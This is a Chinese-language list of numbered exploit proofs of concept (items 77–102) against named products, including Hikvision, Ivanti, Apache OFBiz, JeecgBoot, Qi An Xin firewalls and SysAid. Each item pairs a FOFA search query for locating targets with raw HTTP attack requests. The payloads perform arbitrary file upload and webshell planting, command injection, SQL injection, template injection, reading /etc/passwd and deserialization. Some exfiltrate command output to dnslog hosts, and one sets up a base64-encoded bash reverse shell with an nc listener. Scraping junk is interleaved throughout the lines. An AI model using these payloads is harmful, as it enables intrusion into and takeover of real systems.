8 ]: g) y$ I- X* ~  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

7 G3 O4 Q. W  S# @6 W
5 r  w! y: Z' g1 a% D  h, E: h" |GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
9 j$ C% P& ]: b1 n. }' j. r+ {, wHost: x.x.x.x
6 h0 t$ q& [7 R: y; a- }8 {6 Q


77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
3 e9 P  j0 X& ?5 J5 i" ~, k+ y, kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
* o! V9 K3 l: r- G$ f" C2 U- ?Accept: */*
Accept-Encoding: gzip, deflate
( g  ^$ b$ a' Y- ]: sAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
% o: Y! `% ^, m+ K* ?2 w  ]4 I) a5 MContent-Disposition: form-data; name="folder"
) s5 h+ o2 M+ Z* M7 G. c% _
/upload/udplog
( _  q. Y. |: o------------398jnjVTTlDVXHlE7yYnfwBoix
; w/ q; T0 Q) FContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
2 Z% B, @# S- z' R9 @% Z% [. |
" p1 E: n% Z6 A. @0 R( ghello1234567
2 C# H2 J7 n# \2 z' s------------398jnjVTTlDVXHlE7yYnfwBoix
7 @4 F/ _6 u2 Y2 @0 nContent-Disposition: form-data; name="Upload"
; A" ?' h3 Y, H( a
! {5 w" b5 K6 s5 ZSubmit Query
& B1 W* S7 P* n3 d------------398jnjVTTlDVXHlE7yYnfwBoix--

  f6 a2 M0 H* ?: m+ i- {) @
( x4 \( ]8 S7 k$ X$ ]8 y% ^2 P# ]. b3 f78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
$ ~8 u3 N" @. K  N3 xPOST /Platform/System/FileUpload.ashx HTTP/1.1
$ L5 L6 E. U5 f4 o2 x4 HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
# b; K& d4 @6 WAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
2 b/ L: f) |: E6 w7 `Content-Type: image/png
4 n/ [. m# y' j2 f$ Z
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
# q2 j& J' R2 `, e  _7 GContent-Disposition: form-data; name="target"
0 [3 l$ J: o- g' ]" L  M) h4 |
: F8 M2 c% l1 N( A" s/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

3 X- |" @6 m. w0 Y% j* ?" }
% {4 V9 d/ s. OGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


/ K7 u4 c3 a# B8 D  x1 [79. BYTEVALUE 百为流控路由器远程命令执行
3 k4 T: K' i$ ~2 fFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
# Z+ U3 N* R$ `3 u& LHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
, ]6 C9 m0 [$ V- [. \# |9 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ E2 O, |, c9 a  r5 F1 p. bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  x3 _5 X$ A  N' i" ]. o/ Z) cConnection: close
Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
  N, ~" V: r( N  o/ x2 TPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 A! z( Q, ~' C8 NContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
# r3 a" `3 Q, z' m" TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
, t0 u! m# F' o% [$ j. z+ j' T& lUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>
9 k  \# u0 f" o9 Z" X7 X( }
2 R* \8 j+ t% S% g
) X+ o  t  v0 \/ D8 yGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ a. C  t* l! A; ?Connection: close
Accept-Encoding: gzip
, S1 B! b: Y7 w" \" L" ]
5 Y/ Z% L( U- U* ?5 F# Q
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

' U9 S* L! d5 L: U
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
" H. J. G, }" J/ p' {- oFOFA：app="思福迪-LOGBASE"
. k: p  R% W+ q  c$ }5 a5 T8 @5 GPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
4 R( a+ {9 j3 ~" w4 FContent-Length: 23
Accept-Encoding: gzip
1 e9 w$ l. t8 K+ O) FConnection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
" T: P4 y6 y3 U+ m* {

83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


! k* t$ _6 B+ c8 r) ePOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
# U% ]) T7 x' F% E/ UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& ]9 l5 R7 W' b9 KConnection: close
. N- u5 i9 b5 }0 ~Content-Length: 8881
Accept-Encoding: gzip
% I) X( e2 G; S5 k2 FCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
, m0 U/ E2 `6 o+ B0 A! m6 mContent-Type: application/json
5 B: L( J# X* C  H3 K
PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
/ k" H, v. |' P: Q1 B( xFOFA：title=="JeecgBoot 企业级低代码平台"



POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
2 T; d1 t1 R1 N( WHost: 192.168.40.130:8080
! R. r+ Z, _* q6 d6 P; A4 qUser-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
3 y% b1 U6 m5 E9 F  e1 I! FConnection: close
' z9 O0 S% ?7 f- p2 k- BContent-Type: application/json
8 r5 n' K' C# T# I7 p5 x5 GAccept-Encoding: gzip

{
- G" }7 D! b2 s$ z4 ?/ ]- l* E3 E "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
4 h) e6 h& F% y8 Q  "type": "0"
}

: d# Q7 j8 @, k$ F
8 c0 |) D' t) y) W5 I* H85. SysAid On-premise< 23.3.36远程代码执行
4 E' O9 r! f8 r) z4 z; C, u& g2 {CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
5 l* ^. C, p+ Y3 [% k2 ePOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
6 [$ p  Z/ j6 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( Y+ J0 a+ j& r2 {# r; B" BContent-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD
8 c/ j! L3 Y3 L" i9 L
. J( @1 z2 ?3 C8 c; i7 e* t回显URL：http://x.x.x.x/userfiles/index.jsp

9 |$ _' M9 i* m& _86. 日本tosei自助洗衣机RCE
" v6 F8 h$ F% N& s0 pFOFA：body="tosei_login_check.php"
* w3 A$ l0 \+ R. W7 W1 ?POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
* W  M  a- }! h3 PUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
8 s$ N$ Z: K7 w% I# P$ Z3 r7 cContent-Length: 44
Accept: */*
Accept-Encoding: gzip
5 D% A9 A9 h7 q- ~Accept-Language: en
9 H0 i5 l# N! k- g( t3 m2 F& R0 s2 CContent-Type: application/x-www-form-urlencoded
! D8 J. N1 a3 h& G4 c  ^
host=%0acat${IFS}/etc/passwd%0a&command=ping
  R& P. R& s: h) v# p6 D3 ^3 c

/ l* v" c$ d9 c4 ^0 P5 ^. f87. 安恒明御安全网关aaa_local_web_preview文件上传
; ?; w, r! e" g" Y/ y2 C* X2 Z9 q; DFOFA：title="明御安全网关"
! a1 v; g8 f" w* |6 F, l3 UPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 p8 V$ U; @2 R  LConnection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
* W+ C5 O* H6 m' y/ e  z$ j) }
--qqobiandqgawlxodfiisporjwravxtvd
9 V+ Z5 t1 X. ?7 u: n& P, m, w6 tContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
, Z$ `& R8 x# r( i: o
7 Q; g! s% W) y/ p7 B; L. W4 i2ZqGNnsjzzU2GBBPyd8AIA7QlDq
( j8 i' P7 \# y. N$ r( n& k1 ^--qqobiandqgawlxodfiisporjwravxtvd--
- m5 c- O$ G7 h4 D& C
9 p$ P6 k( t) e& l6 H1 |1 N
/jfhatuwe.php
3 O, v9 p/ r! B/ v
8 |! w8 c+ N. A* o' |9 X6 d  I88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
* c1 C0 {! p0 Q. U7 EFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
* i! O7 g" q9 m+ ~$ K$ X6 l, tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

3 N, c0 f( D  F  y1 _+ P; Q
/astdfkhl.php
) z8 u6 l8 v, ~3 J& u: s' g
7 ?# A6 S# M) G% [% o89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

3 A( k( V2 G: q9 voption=2&GUID=-1'+union+select+111*222--+
! z7 w9 L0 N' W( ^* n5 c

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
/ L- l' T! Y# @! iFOFA：icon_hash="-1830859634"
3 k" K0 h+ T  k' A' x; CPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
+ w. X" K5 o! ], I2 f( A8 @* p. uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
7 c) s! }0 q0 P" z" [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 O+ o+ i6 r& {4 m" K& TConnection: close
Content-Type: application/x-www-form-urlencoded
. r% h1 o9 d, y4 ]" q% i" r$ cX-Requested-With: XMLHttpRequest
; ^$ I) r# T2 `5 |: {! q! F+ m
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
9 b! G$ J0 E6 G# B  A4 r; i0 bFOFA：title="综合安防管理平台"
8 D# j: q3 H! g2 ?1 V# |" @) uGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

! f2 d' e3 b) j' J# |

' _# l' U  v$ b& M: V92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
: |4 C% A. q# ?' ?3 B+ }8 XHost:
( e0 `' I, `6 L- A! {Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
' S" o' l' u+ ~Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
; f7 Z0 Q5 K" y, n- m* s$ a0 QTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
) w) ^9 c: c1 c8 B/ p2 MAccept-Language: zh-CN,zh;q=0.9
* Y; s$ k; C  ^0 @1 w2 b) Z. B3 ^4 mContent-Length: 5778
9 I+ Y  K$ y- ~9 b
4 {% u- Q% a+ CPAYLOAD


9 M* ?) ^. c) e' F, a! _# M8 O93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
8 o: [  u( ?9 B) F7 rPOST /?g=app_av_import_save HTTP/1.1
6 i; m) l& N, B* C& D4 D# BHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
: o4 l+ f* ?% r8 b' J/ \User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

( U, A: b5 s, S10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
$ e0 r' ^7 p" A. m! e; m+ `% {Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
( k% f* k7 O' v" w  R0 x
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
, @% z0 }7 U! `Content-Disposition: form-data; name="__hash__"
: Q" S9 O  s' E* d
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
, H- l* s) h3 T. d4 Y% {
; u+ H. \. m! g$ X' A1 {: u
GET /attachements/xlskxknxa.txt HTTP/1.1
* q: {* _+ w, rHost: xx.xx.xx.xx
0 P1 b( D- ~9 U( DUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: o& {& S9 I3 M

5 l( z% G7 o/ ~# [) X( W) q2 |8 T94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
( y9 f) A% k! f. D; \( ~FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
" [9 F1 S( M" {, NPOST /?g=obj_area_import_save HTTP/1.1
/ |& q3 {( X) FHost: x.x.x.x
. ^& t& x- Y6 m8 i/ yContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
. b. u+ Y" A7 l& |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

/ c, c% p( l3 U. e( F- h3 e------WebKitFormBoundarybqvzqvmt
: W' [, f1 N% m0 ?- PContent-Disposition: form-data; name="MAX_FILE_SIZE"

7 A2 U2 j$ x  M* T5 B  @% s2 `10000000
------WebKitFormBoundarybqvzqvmt
& v% l1 V" ]% ^Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
% w/ w- v! L3 K/ y6 i) HContent-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
9 T9 d+ H+ B' p; u! c; g) X% u
( k4 E, n' H( Y' S+ C* Z. f+ }2 Kobj_app_upfile
2 F/ o3 e$ d4 Y5 j3 v" _------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
- z3 ~- f3 w2 H% i
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--



GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
. m& T' D: H" w9 D6 o9 ]/ b# PUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



2 ?& b  L' m% C/ g, G" A95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
8 f# |) W# ]- P' a/ ]CVE-2023-49070
" J! t5 l9 v: v! f, y1 H. J: TFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
. q2 ~9 N. s3 w1 T+ L' \7 A8 NHost: x.x.x.x
8 o- T  r* O- p) h; qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
% j2 a; l2 @0 q, Z4 K  C! eConnection: close
Content-Length: 889
* G7 X; N: C3 |Content-Type: application/xml
Accept-Encoding: gzip

/ J( f' M: F6 M0 Y" O. D3 L  \. ?<?xml version="1.0"?>
0 y7 O% A' a0 z% _/ j! @( t5 \<methodCall>
4 Y# |" ?2 O1 B/ w! s   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
  V$ W) i9 L0 `, E2 h7 o- V, |        <struct>
       <member>
9 R: ^# S" H! B5 S          <name>test</name>
          <value>
! G) m' v  d2 J3 [+ r      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
" A- Z9 `* x3 s. D          </value>
6 ~; i* g. o  j, n+ L        </member>
, L* _9 V: X9 T" J      </struct>
      </value>
6 P( e, Y* C3 S! P: v" T+ q    </param>
  X, T9 B' x" K# k    </params>
8 Y  x$ X0 u. o5 Q' @1 g1 p</methodCall>

1 N: Q: I. y- ^! p
用ysoserial生成payload
1 N% U' r4 y; b0 wjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
6 v4 d( b8 _# J% k. k) M

4 T, l1 V+ N- s: ?将生成的payload替换到上面的POC
% W$ W7 W' w: O1 B; h1 k% j3 mPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
2 R& Y1 z! D$ @5 Z' e2 }6 v0 ^User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
: Q* o8 c9 a1 \7 ^Content-Type: application/xml
, U' j4 L3 W8 q  |- D9 `Accept-Encoding: gzip
( m  f6 `0 n8 X
PAYLOAD
3 I# K, V- U, w  D2 `* a
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
9 U; E  E$ n7 e7 Q) {% R7 CPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
* e6 p, r  @" M9 ^: ?! Z" d! wHost: localhost:8443
7 A) [6 l( q- _* Z6 Y. X0 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
  f/ M  Z' l9 v9 UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' z8 J# C9 Y( G$ @% ZContent-Type: application/x-www-form-urlencoded
$ p! _6 Z  Z, s/ m+ x4 IContent-Length: 55
3 c+ c/ C1 s& y# }
) U2 }/ \/ M. g5 W$ y  q  `3 FgroovyProgram=throw+new+Exception('id'.execute().text);
" l% W, ~" Y9 @+ d7 V2 S7 F
  w! f' p; L. g9 b' p% _  E
1 r7 O/ F2 N  o. g( c反弹shell
$ Y0 M6 j; C7 W' r6 E5 X在kali上启动一个监听
nc -lvp 7777
4 V+ ~* e% C4 N: t
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
) ^4 s5 O0 _  i2 P$ sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( L# x% w5 @; q  i8 B! Y, iAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
0 J6 `, W' s# |/ s4 v( }Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
$ c* X. a5 C' GFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
2 z! _- ?6 E; l/ VHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
  i; f. X+ P9 Z3 aConnection: close
1 [8 [) ^, I% p. M: v5 b1 `2 J+ |Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
( W3 ]) n1 Q8 D5 Z
! O2 E8 q9 Z/ ^) D" s; N  F; Q  P
- @. R' z  G0 `$ X0 Q98. SpiderFlow爬虫平台远程命令执行
) o$ E( `) d9 [; Q4 k: {1 V2 U# ]CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
1 ?- C! ]* D# a5 ^% }( dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
! f: {/ ?3 y& q6 ^% M1 O8 r! m5 @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
" L) O, U7 o4 l$ n6 `  W+ o
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
9 A; \; H7 {) m

99. Ncast盈可视高清智能录播系统busiFacade RCE
4 U7 e$ A/ ^: q0 S& {1 W# ?' s% ICVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
3 \' @% |" a5 LPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
) l1 [0 K5 ^5 I+ I! YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  u  g3 C2 R2 p: H( G! c. MConnection: close
Content-Length: 154
' p9 a9 G8 Q+ sAccept: */*
Accept-Encoding: gzip, deflate
& f/ K% c, r2 H; ]' g+ x9 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
" J; m0 Z  h; k" u/ P# zX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
* e; j* k7 ^2 H) k8 W
" M4 n' p: B& v" `6 ]2 o
" B4 `0 ~1 ]% b+ ~& N' F/ f100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
  h2 e' k9 _# J$ {9 W  ECVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
' @- ?* ?: {0 x, y0 c! AHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
" b# F. g0 m' N2 s( Z( e: c* x* UConnection: close
Content-Length: 201
: a6 |( h# n4 y- G0 p$ e' vContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
9 {6 c0 @/ V$ E2 UAccept-Encoding: gzip

& ?" z5 E) s$ P------WebKitFormBoundarygcflwtei
0 P- r% \8 r3 f5 I6 c4 ]" dContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

5 e* ?2 r1 I" A& A: i' v5 s7 B% b2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

7 ^7 K- y/ C- M! t8 ?( C
; G6 o# L' V  N/ A3 g% A( G) \101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
8 A) E* S( r6 d# _: KGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# u- b0 ~& g* C: y7 ?6 o' VConnection: close
8 w. k# x, \( ^- `- BAccept-Encoding: gzip
( ?9 Y6 p) ^3 m- R5 X
: e* F/ {$ @: T+ N2 D- M$ m
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
( l. ^7 @9 u. K& ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
7 H3 o1 j- N* u4 j: g/ e+ U8 WAccept-Encoding: gzip
' f( M! J0 P3 B* n& i/ q
